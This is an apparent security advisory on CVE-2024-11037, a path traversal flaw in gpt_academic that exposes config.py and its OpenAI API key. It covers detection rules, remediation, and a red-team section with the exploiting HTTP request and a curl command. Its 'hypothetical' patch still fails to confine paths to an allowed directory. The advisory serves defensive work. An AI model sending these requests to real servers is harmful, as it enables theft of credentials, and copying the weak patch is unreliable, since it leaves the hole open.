CVE-2024-11037

Executive Summary

CVE-2024-11037 is a path traversal vulnerability in binary-husky/gpt_academic at commit 679352d. The flaw allows an attacker to bypass the blocked_paths protection mechanism and read the config.py file, which contains sensitive information such as the OpenAI API key. This vulnerability is exploitable on Windows operating systems by accessing a specific URL that includes the absolute path of the project. The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood at this time. No patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Python-based project gpt_academic, which is distributed via GitHub. The project is not published on PyPI, but users may install it directly from the repository. The lack of a patch and the exposure of API keys pose a significant supply chain risk, as compromised keys could lead to unauthorized access to OpenAI services.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Sensitive data (API keys) can be read.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability allows unauthorized reading of sensitive configuration files, but exploitation is limited to Windows systems and requires knowledge of the absolute project path.

Deep Dive & Mechanics

The vulnerability resides in the path handling logic of gpt_academic. The application implements a blocked_paths list to prevent access to sensitive files like config.py. However, due to improper input validation, an attacker can bypass this protection by providing an absolute path (e.g., C:\Users\...\gpt_academic\config.py) in the URL. The application fails to normalize the path before checking it against the blocked list, allowing the attacker to read the file.

On Windows, the path traversal is successful because the application does not properly handle drive letters and backslashes. The attacker can craft a URL like:

http://target:port/file?path=C:\full\path\to\gpt_academic\config.py

This bypasses the blocked_paths check because the check likely uses relative paths or does not account for absolute paths.

Vulnerable vs. Patched Code

Vulnerable Code (commit 679352d):

# Simplified vulnerable logic
blocked_paths = ["config.py", "keys.py"]

def read_file(path):
    if any(blocked in path for blocked in blocked_paths):
        return "Access denied"
    # No normalization of path
    with open(path, 'r') as f:
        return f.read()

Patched Code (hypothetical):

import os

blocked_paths = ["config.py", "keys.py"]

def read_file(path):
    # Normalize the path to resolve any traversal or absolute paths
    normalized_path = os.path.normpath(path)
    # Check if the normalized path ends with any blocked file
    if any(normalized_path.endswith(blocked) for blocked in blocked_paths):
        return "Access denied"
    with open(normalized_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Windows target running gpt_academic at commit 679352d.
• Knowledge of the absolute path to the project directory (e.g., C:\Users\admin\gpt_academic).

Exploit Steps:

1. Identify the target IP and port (default: 9876).
2. Send a GET request to the vulnerable endpoint with the absolute path:

   GET /file?path=C:\Users\admin\gpt_academic\config.py HTTP/1.1
   Host: target:9876
   

3. The server will return the contents of config.py, including the OpenAI API key.

Example using curl:

curl "http://target:9876/file?path=C:\Users\admin\gpt_academic\config.py"

Blue Team

Detection:

• Monitor web server logs for requests containing absolute paths (e.g., C:\, D:\).
• Look for unusual access to /file endpoint with path parameter containing drive letters.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/file" uri_query=*path=*C:*
| table _time, src_ip, uri_query

Indicators of Compromise (IOCs)

• Network: HTTP requests to /file endpoint with path parameter containing absolute Windows paths (e.g., C:\Users\...\config.py).
• File: Unauthorized access to config.py or other sensitive files.
• Logs: Web server logs showing requests with drive letters in the query string.

Detection Engineering

YARA Rule

rule CVE_2024_11037_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting gpt_academic config.py"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11037"
    strings:
        $s1 = "config.py" nocase
        $s2 = "C:" nocase
        $s3 = "file?path=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-11037 Path Traversal in gpt_academic
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests exploiting path traversal to read config.py
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "path=C:"
            - "path=D:"
        cs-uri-stem|contains: "/file"
    condition: selection
falsepositives:
    - Legitimate use of absolute paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11037 Path Traversal in gpt_academic"; flow:to_server,established; content:"/file"; http_uri; content:"path="; http_uri; content:"C:"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, or restrict access via firewall rules.
2. Rotate any exposed API keys immediately.
3. Apply input validation to normalize paths and reject absolute paths or path traversal sequences.

Long-term Fix:

• Update to a patched version once available.
• Implement proper path normalization using os.path.normpath() and ensure the resolved path is within an allowed directory.
• Use a whitelist approach for allowed files instead of a blacklist.

Workaround:

• If patching is not possible, deploy a reverse proxy (e.g., Nginx) to block requests containing path=C: or similar patterns.

Valters IT